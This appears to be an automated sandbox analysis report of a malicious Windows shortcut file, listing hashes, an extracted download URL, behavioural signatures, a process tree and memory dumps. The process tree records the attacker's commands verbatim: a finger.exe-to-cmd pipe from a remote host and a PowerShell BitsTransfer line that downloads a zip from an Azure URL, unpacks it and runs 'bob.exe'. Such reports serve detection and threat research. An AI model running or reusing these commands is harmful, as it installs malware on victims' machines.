Analysis
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max time kernel
52s -
max time network
33s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
22-01-2021 12:07
Static task
static1
Behavioral task
behavioral1
Sample
055a178dfb1189e4112fec2c62fccce52742a7d206e28e1a19a388938954bbd7.bin.lnk
Resource
win7v20201028
Behavioral task
behavioral2
Sample
055a178dfb1189e4112fec2c62fccce52742a7d206e28e1a19a388938954bbd7.bin.lnk
Resource
win10v20201028
General
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Target
055a178dfb1189e4112fec2c62fccce52742a7d206e28e1a19a388938954bbd7.bin.lnk
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Size
669B
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MD5
b4a5e41db4f64b7e42a0dcfff1a93d6c
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SHA1
9459e181f8a5a48c101d97daeecd68273a721b08
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SHA256
055a178dfb1189e4112fec2c62fccce52742a7d206e28e1a19a388938954bbd7
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SHA512
ef543b94f3870e463639c9bb1dfa9b9218cfeecfab04cda11d18cdda3b0d0842f4e4b81265788cff59307d52c2dab0f2175ef277ead96951c598bbfe96c27036
Malware Config
Extracted
http://prorrogaciones.eastus2.cloudapp.azure.com/adv64.zip
Signatures
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Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1956 powershell.exe 1956 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1956 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
cmd.execmd.execmd.exedescription pid process target process PID 1908 wrote to memory of 1620 1908 cmd.exe cmd.exe PID 1908 wrote to memory of 1620 1908 cmd.exe cmd.exe PID 1908 wrote to memory of 1620 1908 cmd.exe cmd.exe PID 1620 wrote to memory of 2044 1620 cmd.exe finger.exe PID 1620 wrote to memory of 2044 1620 cmd.exe finger.exe PID 1620 wrote to memory of 2044 1620 cmd.exe finger.exe PID 1620 wrote to memory of 1096 1620 cmd.exe more.com PID 1620 wrote to memory of 1096 1620 cmd.exe more.com PID 1620 wrote to memory of 1096 1620 cmd.exe more.com PID 1620 wrote to memory of 1888 1620 cmd.exe cmd.exe PID 1620 wrote to memory of 1888 1620 cmd.exe cmd.exe PID 1620 wrote to memory of 1888 1620 cmd.exe cmd.exe PID 1888 wrote to memory of 1956 1888 cmd.exe powershell.exe PID 1888 wrote to memory of 1956 1888 cmd.exe powershell.exe PID 1888 wrote to memory of 1956 1888 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\055a178dfb1189e4112fec2c62fccce52742a7d206e28e1a19a388938954bbd7.bin.lnk1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "finger.exe [email protected]|more +2|cmd"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\finger.exe
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C:\Windows\System32\more.commore +23⤵
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C:\Windows\System32\cmd.execmd3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Import-Module BitsTransfer; if (Test-Path C:\Users\Admin\AppData\Roaming\abcd) {exit}; Start-BitsTransfer 'http://prorrogaciones.eastus2.cloudapp.azure.com/adv64.zip' -Destination 'C:\Users\Admin\AppData\Roaming\goder.zip'; Start-Sleep -s 20; $shell = New-Object -ComObject Shell.Application;$zipFile = $shell.NameSpace('C:\Users\Admin\AppData\Roaming\goder.zip'); MkDir('C:\Users\Admin\AppData\Roaming\ok'); $destinationFolder = $shell.NameSpace('C:\Users\Admin\AppData\Roaming\ok');$copyFlags += 0x04;$destinationFolder.CopyHere($zipFile.Items(), $copyFlags); Start-Process 'C:\Users\Admin\AppData\Roaming\ok\bob.exe'; New-Item c:\programdata\abcd -ItemType File4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1096-5-0x0000000000000000-mapping.dmp
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memory/1620-3-0x0000000000000000-mapping.dmp
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memory/1888-6-0x0000000000000000-mapping.dmp
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memory/1908-2-0x000007FEFBBF1000-0x000007FEFBBF3000-memory.dmpFilesize
8KB
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memory/1956-13-0x000000001ABF0000-0x000000001ABF2000-memory.dmpFilesize
8KB
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memory/1956-16-0x000000001AB30000-0x000000001AB31000-memory.dmpFilesize
4KB
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memory/1956-9-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmpFilesize
9.9MB
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memory/1956-10-0x00000000024A0000-0x00000000024A1000-memory.dmpFilesize
4KB
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memory/1956-11-0x000000001AC70000-0x000000001AC71000-memory.dmpFilesize
4KB
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memory/1956-12-0x00000000024E0000-0x00000000024E1000-memory.dmpFilesize
4KB
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memory/1956-37-0x000000001ABFA000-0x000000001AC19000-memory.dmpFilesize
124KB
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memory/1956-14-0x000000001ABF4000-0x000000001ABF6000-memory.dmpFilesize
8KB
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memory/1956-15-0x0000000002020000-0x0000000002021000-memory.dmpFilesize
4KB
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memory/1956-7-0x0000000000000000-mapping.dmp
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memory/1956-17-0x00000000025B0000-0x00000000025B1000-memory.dmpFilesize
4KB
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memory/1956-18-0x00000000027F0000-0x00000000027F1000-memory.dmpFilesize
4KB
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memory/1956-19-0x000000001B520000-0x000000001B521000-memory.dmpFilesize
4KB
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memory/1956-20-0x000000001B670000-0x000000001B671000-memory.dmpFilesize
4KB
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memory/1956-23-0x000000001B830000-0x000000001B831000-memory.dmpFilesize
4KB
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memory/1956-35-0x000000001B8A0000-0x000000001B8A1000-memory.dmpFilesize
4KB
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memory/1956-36-0x000000001B8B0000-0x000000001B8B1000-memory.dmpFilesize
4KB
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memory/2044-4-0x0000000000000000-mapping.dmp